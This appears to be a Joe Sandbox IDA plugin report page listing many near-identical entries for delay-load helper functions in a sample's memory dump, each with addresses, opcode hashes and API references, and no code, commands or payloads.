Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a6029460613fc59a7bb5410daa6b786540218ec40bf48775ff8587ad732371cc
Instruction ID: d0da4a94ed9585ad5e155c879b727526d44408580f9e74b1abbc6075d14e166e
Opcode Fuzzy Hash: a6029460613fc59a7bb5410daa6b786540218ec40bf48775ff8587ad732371cc
Instruction Fuzzy Hash: F0B012F125C101AC3504510F2C02DFB014DC0C8F10730C03FF909C02C1E840AD006432

Function 00CBE232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0092d3bf3a923c2289acc96a2abb10ae370aade00933bbbce28ecdc3e6d636bb
Instruction ID: 6263cb9c6bc4e36f9fb4e414a75b651aecde06ec2309e417aefc6f57bd8cb8d4
Opcode Fuzzy Hash: 0092d3bf3a923c2289acc96a2abb10ae370aade00933bbbce28ecdc3e6d636bb
Instruction Fuzzy Hash: 68B012F125C101AC3504510F2D02EFB014DC0C4F10730C03FF809C02C1EC41AE016432

Function 00CBE44B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE3FC

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eaf848348dfc2137704a54981eaa4c1d1dae78f97c7249cc783190bed5ca99d6
Instruction ID: a90432b13c7424c93c5682f52a0ff4b028aa7b5c51730e6ac29d16b12f26e2ee
Opcode Fuzzy Hash: eaf848348dfc2137704a54981eaa4c1d1dae78f97c7249cc783190bed5ca99d6
Instruction Fuzzy Hash: 91B012E1259201BC364492091C42DF7028DC0C0F10730C03FF908C12C0D8408C056473

Function 00CBE419 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE3FC

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ec3eb3d5fac9df20f233ebaf353321e0e95e9c532313468e3932611c85f2a5c5
Instruction ID: 1aebba32b57e35b42c4a617d7aa5af8bb5b5a3ed7e08cbd9419f3c4ffbb616c6
Opcode Fuzzy Hash: ec3eb3d5fac9df20f233ebaf353321e0e95e9c532313468e3932611c85f2a5c5
Instruction Fuzzy Hash: D9B012E12591017C3644520A1D42DF7028DC0C0F10730C03FF608C12C0D8414C4A6473

Function 00CBE423 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE3FC

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 260570ea401da8495cdfe103201bb1e6ccd90a4bf4b01532cd27ada055890e16
Instruction ID: 1a08cfd9f41bc63f900238d380bb0c75f6eb00dbb67a9abd348dd2b01f11b1f7
Opcode Fuzzy Hash: 260570ea401da8495cdfe103201bb1e6ccd90a4bf4b01532cd27ada055890e16
Instruction Fuzzy Hash: 93B012F125A001BC364492095C42DF7028DC0C0F10730803FF808C12C0D8408E016473

Function 00CBE593 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE580

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 588b419958b7a016f4b1b47bd0985fc90fd5cf6b88b6ac88977bd929dff0b432
Instruction ID: 714d708a6f1b474d8ffbee7b70506b231c498eb2700660af27be1e86a23fc8ae
Opcode Fuzzy Hash: 588b419958b7a016f4b1b47bd0985fc90fd5cf6b88b6ac88977bd929dff0b432
Instruction Fuzzy Hash: 33B012D12581017E3104935A1C42DF7015DC5C8F14730403FF408C12C0E8404C095432

Function 00CBE5A7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE580

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3bc762010cc00b081b6e77f76fca1919d1d9fde1440710bd9877bfdb1b9842d1
Instruction ID: fe93523e5ec9f3a4486503a58dc9df15b00809a9666c04d2309ded1813ae8cd3
Opcode Fuzzy Hash: 3bc762010cc00b081b6e77f76fca1919d1d9fde1440710bd9877bfdb1b9842d1
Instruction Fuzzy Hash: 7DB012D12581017C3104915B5D42DF7417DC4D4F14730423FF408C12C0EC414D065432

Function 00CBE5B1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE580

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8ef2b9fbb1f824cdf334ecd015111d2c768f5dbec8d56e41de8a58ce387f6dd1
Instruction ID: f6c7669dc1415293a4433488169b0e45f67f6fac5ba8c7913c4ae5ede830d6c7
Opcode Fuzzy Hash: 8ef2b9fbb1f824cdf334ecd015111d2c768f5dbec8d56e41de8a58ce387f6dd1
Instruction Fuzzy Hash: 4FB012D12582017C3144915A5C47DF7017DC4D4F14730423FF408C12C0E8404C455432

Function 00CBE546 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE51F

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 215bb9d9e0bd3cee5e623ae66a816c23f333c558f73a11482b3beb79af7e0d01
Instruction ID: 15e4632aa908a9ba996890ab619c19e7d4a5340985249459f171fec555edf6bb
Opcode Fuzzy Hash: 215bb9d9e0bd3cee5e623ae66a816c23f333c558f73a11482b3beb79af7e0d01
Instruction Fuzzy Hash: 55B012C16D9501BC3204610D5C07DFB014DC0C1F14730833FF508C02C0E8404C495432

Function 00CBE50D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE51F

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f1027a1eb4d5e28a100a5d01c42bd13dc65e1ea3aafe6e46e0ae9c0d9ab4d8e3
Instruction ID: fafa3a465d079c30c29d40b6a3d02ebc307569c83f9581d15f177bb59908ca4e
Opcode Fuzzy Hash: f1027a1eb4d5e28a100a5d01c42bd13dc65e1ea3aafe6e46e0ae9c0d9ab4d8e3
Instruction Fuzzy Hash: BAB012C12D9401BC310421291C06DFB010DC0C1F14B30413FF514C05C1A8804D095432

Function 00CBE528 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE51F

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9278a8a13005ac555b434f3ea9b7a3c27eb6bc01c060830acc4fa82336037de4
Instruction ID: 0228ed40fabd33c4f4a8314d532303b2a699ee7af6ff45f610f19da15f12ad78
Opcode Fuzzy Hash: 9278a8a13005ac555b434f3ea9b7a3c27eb6bc01c060830acc4fa82336037de4
Instruction Fuzzy Hash: 63B012C12D9442BD3104620E1D02DFB054DC0C1F14730813FF608C02C0E8414C065432

Function 00CBE53C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE51F

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b74eb7f6e8b16a61f2316c10cc3e6315dacd26c74a3bce4a4b89ece2c24c9a09
Instruction ID: 76b5c944bf7224b5abe0ce3103314622401957d7397bc53fe74b86fc8d7b008c
Opcode Fuzzy Hash: b74eb7f6e8b16a61f2316c10cc3e6315dacd26c74a3bce4a4b89ece2c24c9a09
Instruction Fuzzy Hash: A9B012C16D9401FC3104A10D5C02DFB024DC1C5F14730823FF908C02C0E8408C055432

Function 00CBE532 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE51F

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c35b3e89e558720021c4ae216410512c7f7cdf94dc4ef96509d03a5f9424f6bb
Instruction ID: 391aebd2470cfeb1def2727f12d33a6777626d6dd278d4269ce127717c2a6ffc
Opcode Fuzzy Hash: c35b3e89e558720021c4ae216410512c7f7cdf94dc4ef96509d03a5f9424f6bb
Instruction Fuzzy Hash: 6CB012C12D9401BE3104620D1C02EFB014DC0C1F14730413FF508C02C0E8404C095432

Function 00CBE2CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 343a50dee50dd2ab0461675546b854fcd8e48ca690a3688a963b5b671772fbdd
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: 343a50dee50dd2ab0461675546b854fcd8e48ca690a3688a963b5b671772fbdd
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE2C3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5c02a0c3255612935286deb5e843c401cdfc3d69b522b37c4f918f54390c3314
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: 5c02a0c3255612935286deb5e843c401cdfc3d69b522b37c4f918f54390c3314
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE2D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f8d5455651922a69de391e34ac36ec20c49933b600b482330fd56e2e8c93a5f7
Instruction ID: 86f8ca01527850f7b079e2e337c3e8d453b0fd7d7904f77cca36dc65b69e7eaf
Opcode Fuzzy Hash: f8d5455651922a69de391e34ac36ec20c49933b600b482330fd56e2e8c93a5f7
Instruction Fuzzy Hash: 21A001E62AD552BC3908625A6D46CFB025EC4C5F65B30C93EF916C45C2A891AC45A871

Function 00CBE29B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
